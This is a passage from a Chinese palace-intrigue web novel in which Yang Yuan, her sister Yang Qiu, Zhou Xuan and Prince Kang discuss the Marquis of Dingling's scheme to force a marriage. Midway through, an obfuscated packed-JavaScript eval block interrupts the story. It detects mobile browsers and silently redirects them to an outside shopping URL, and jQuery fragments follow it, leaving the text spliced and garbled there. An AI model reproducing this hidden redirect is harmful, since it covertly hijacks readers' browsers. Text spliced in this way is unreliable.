“那我还挺荣幸。”
“不介意就请便,我要走了。”杨鸢丢下一句话,起身欲走,奈何被周瑄扯住了袖子。
“撒手。”杨鸢冷冷地道。
周瑄恍若未觉,依旧不松手,只是带着点示弱的意味:“我知错了,尚宫大人恕罪。”
杨鸢‘哼’一声,到底没再发作,顺势又坐了回去:“故意的?”
“什么?我怎么敢?那可是定陵侯。”周瑄嘴上说得恭敬,眼睛里却没有半分敬畏的意思。
“那可是皇帝陛下的表兄弟,皇后娘娘的大姐夫。我一介不入流的小官,哪里敢得罪他呀?”
“那你在其他人面前还装模作样。”杨鸢冷笑一声,也没多说什么。
“没办法,谁叫我孤苦无依,定陵侯打上门了也不敢回嘴的。”周瑄悄无声息地枕在杨鸢腿上,顺手拿起杨鸢垂在旁边的发丝把玩。
“胡扯。”杨鸢似笑非笑,语调却上扬:“现在好了,人人都知道定陵侯大闹司天监,还不够消气?”
“那尚宫大人消气了?”周瑄不答反问。
杨鸢故作严肃地思考了一会:“算消气了吧。”
“既然你都消气了,我还耿耿于怀什么?”周瑄答道。
“你是你我是我,怎么可能一概而论。没消气,大不了你报复回去,我不说话就是了。”
“你我一体同心,谁人不知。我是没消气,又怕尚宫大人怪罪我。”
杨鸢好奇地应了一声,似乎十分感兴趣:“怕我怪罪你?你怕什么?”
“怕你一气之下不搭理我,剩我一人辗转反侧。”周瑄手里绕着杨鸢的一缕发丝,在指间打成结,又松开。
杨鸢低头看了一眼:“别玩了,到时候打结了不好收拾。”
“若是打成死结,何妨绞下来送给我?”周瑄并没有停下手里的动作,只是捋顺了杨鸢那一缕发丝。
“光要我的?怎么不把你的一起掺进去。”杨鸢道。
周瑄只是笑了笑,从杨鸢腿上坐了起来,仍然是刚才那副漫不经心的语气:“那怎么好,你的是要留着和那位天定之人结发的,我算什么?”
“所谓的命定之人,到底是谁,还不是我一句话说了算。”杨鸢挑眉,略带挑衅地看着周瑄:“你这会知道了,刚才胆子还挺大。”
杨湫抿抿唇,缓缓退开了几步,赵瑾同样悄悄退后,冲着杨湫使了个眼色。
“还进去吗?”
杨湫深吸一口气,最终鼓起勇气,伸手敲了敲门:“二姐!是我。”
里面传来一阵细碎的脚步声,杨鸢面色如常打开门,冲着杨湫笑笑:“猜到你也该来了。”
她的视线流转到赵瑾身上,忽然有些玩味:“康王殿下也来了?是来探望闻璟,还是不放心,特意送三妹一程——”
杨鸢的话还没说完,杨湫就急忙打断了:“二姐!什么特意,就是顺路而已。”
赵瑾正欲开口解释自己的来意,杨湫急忙甩了个眼刀给他。
他只好委屈巴巴地闭嘴,十分心不甘情不愿地挤出一句话:“的确是顺路,二姐多虑了。”
杨鸢一眼看破,却并未继续调侃,只是让开了门:“来,三妹。到这边来。殿下熟悉这里,我就不引路了,请。”
说罢,杨鸢就拉着杨湫绕过屏风,向右手边走去,过了一扇隔断,又上了一道抄手游廊,进了右后方的一间暖阁。
“此处是我在司天监的住处。往后若要找我,直接来这里吧。”杨鸢拉着杨湫坐下,替她倒了一杯茶。
杨湫点点头,接过茶,却又狐疑地看了一眼二姐。
“不苦的。”杨鸢说得异常坦诚。
杨湫半信半疑,小小抿了一口,立刻被苦得一激灵:“二姐!”
杨鸢一拍脑袋:“糟了,一时忘情,忘记了一件事。”
“二姐,你又欺负湫儿,湫儿不依。”杨湫撇撇嘴,赌气把杯子放在书桌上,别过脸等着杨鸢来哄她。
“好湫儿,二姐错了,下次一定。”杨鸢忍着笑意,站在杨湫面前,微微俯下身讨饶:“原谅二姐好不好?”
杨湫这才心满意足地揭过不提,想起杨鸢刚才没说完的半句话,又追问道:“二姐忘记什么了?”
“忘了告诉你今天泡的茶是什么。”杨鸢满脸愧疚。
杨湫瞬间警铃大作,试探着问道:“什么?”
“小叶苦丁。”杨鸢老老实实回答道。
一刻钟后。
终于被杨鸢捋顺毛的杨湫喝了一口青鸾新泡的茶,这才舒畅起来:“二姐急着回来,是为了探知曹公公所言真假?”
“曹公公还不会在这种事情上撒谎。”杨鸢冷笑一声:“我不回来,指不定他还能闹出什么事来。”
“怎么在姐姐嘴里,周大人是这般性情?”杨湫想起刚才听到的对话,有些疑惑地道。
沈盈不是说他孤高自傲,和杨鸢截然不同。
眼下看起来的确截然不同,就是好像,颠倒了。
“传言而已,不足为信。”杨鸢道。
杨湫‘哦’一声,认真地看着杨鸢:“二姐,真的只是你们说得这样简单?”
不知为何,杨湫并不相信周瑄能被侯爷一闹就气病。
“的确是有些夸大其词。”杨鸢挑眉,无奈地道:“闻璟有旧疾是事实,发不发作,诚然与侯爷没什么关系。”
“可是周大人和侯爷素无恩怨,为何——”杨湫想到一种可能性,眼神看向杨鸢:“是因为二姐你?”
“也不尽然,侯爷跟他拿腔拿调,他必然是咽不下这口气的。”杨鸢故意不答,只是绕开了话题。
杨湫不大相信的‘哦’一声,随即又追问道:“那么二姐急着赶回来,是为什么?”
“浪费那些好药材,很贵的。”杨鸢信口胡扯道。
“好吧。”杨湫嘴上虽应承,心里却并不相信:“我只是来问问二姐,侯爷到底做了什么。”
“侯爷未必不知道我在皇宫,只不过在大内不敢放肆,就想捡司天监这个软柿子捏。”
杨鸢三言两语说完:“他想施压给我,让我迫于流言不得不带四妹回去。”
“原来如此。如今四妹在姨母那里,无需我们担心。”杨湫松了口气,忧愁又漫过心头:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524839|203441||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“距离何家要求的婚期,只有不到三天的时间。”
“走吧,他们两个应该是聊完了。”杨鸢率先起身:“这个时候,多一个人总是多一点办法。”
“左右闻璟已经被侯爷扯下水了,他想报复理所应当吧。”
杨湫哭笑不得。
西厢房内。
赵瑾信步走进去,余光再一扫周瑄,果然规规矩矩的,半点没有刚才的散漫。
什么意思,赵瑾心里颇为不忿,我学你卖惨求同情,怎么你要什么有什么,我连半根头发都捞不着。
“殿下,收收味。”周瑄好整以暇,声气虽然虚弱,调侃赵瑾的兴趣一点不减:“闻着怪酸的。”
“你鼻子真灵。”赵瑾撇撇嘴,十分随意往软榻上一坐:“你没事吧?”
“殿下竟然真的是来探望我的?”周瑄故作惊讶。
赵瑾不明所以,转头瞥了他一眼:“你说得什么话?”
“原以为我才是三小姐的陪衬,想不到在殿下心里还能有一席之地,十分感动。”周瑄道。
赵瑾立刻一副牙被酸到了的表情:“你能不能不要和谢钧学胡言乱语。”
“我和谢二公子素昧平生。”周瑄看着赵瑾气不打一处来,忽然心情好了一些:“说正事吧。你从曹公公哪里听到了什么。”
“啊,难为你还知道有正事。”赵瑾笑了笑,提起侯爷来:“定陵侯打上门干什么?难道真是来叫二小姐回家的?我不信。”
“是因为昭明带着她四妹逃婚吧。”周瑄说完,深觉不妥,又改了口:“逃狱。”
“定陵侯府在你眼里,听起来和地狱没区别。”赵瑾随口道。
“本来就没区别。”周瑄回答了他。
杨鸢和杨湫去而复返,四个人同处一室,忽然又沉默下去。
“早上的事情——”杨湫决心打破沉默:“侯爷行事鲁莽,抱歉,周大人。”
“三小姐不必介怀这个,我听昭明说过了。你们打算怎么处理这事?”周瑄问道。
杨湫抿唇,眉心盛满了忧虑:“如今四妹在皇宫,侯爷的手伸不了那么长。何家那边才是头等难题。”
周瑄很敷衍地笑笑:“我知道,所以三小姐准备怎么办?”
杨湫叹了口气,低声道:“自然是,想办法找到何家的软肋,以此胁迫他们打消这个念头。”
“哦,的确是个办法。”周瑄说话的口气淡淡,一时间听不出来他在想什么。
杨鸢似有所觉,警告似地瞪了周瑄一眼:“你有办法?只要不是伤天害理的,我们都能做到。”
“不算什么办法,算是我一点最坏的打算。”周瑄面无表情:“斩草除根,否则必有后患。”
“你想说什么。”杨鸢同样沉下脸来。
“如果我是定陵侯,就撺掇何御史上书哭诉,说自己三代单传,如今香火快断了。”周瑄幽幽说道:“这时候再提一嘴你们四小姐的名讳,就说合八字了,只有她最稳妥。”
杨湫听的背后一寒,忙道:“不可能!”
“不可能?三小姐未免将他想的太善良了。”周瑄冷漠地道。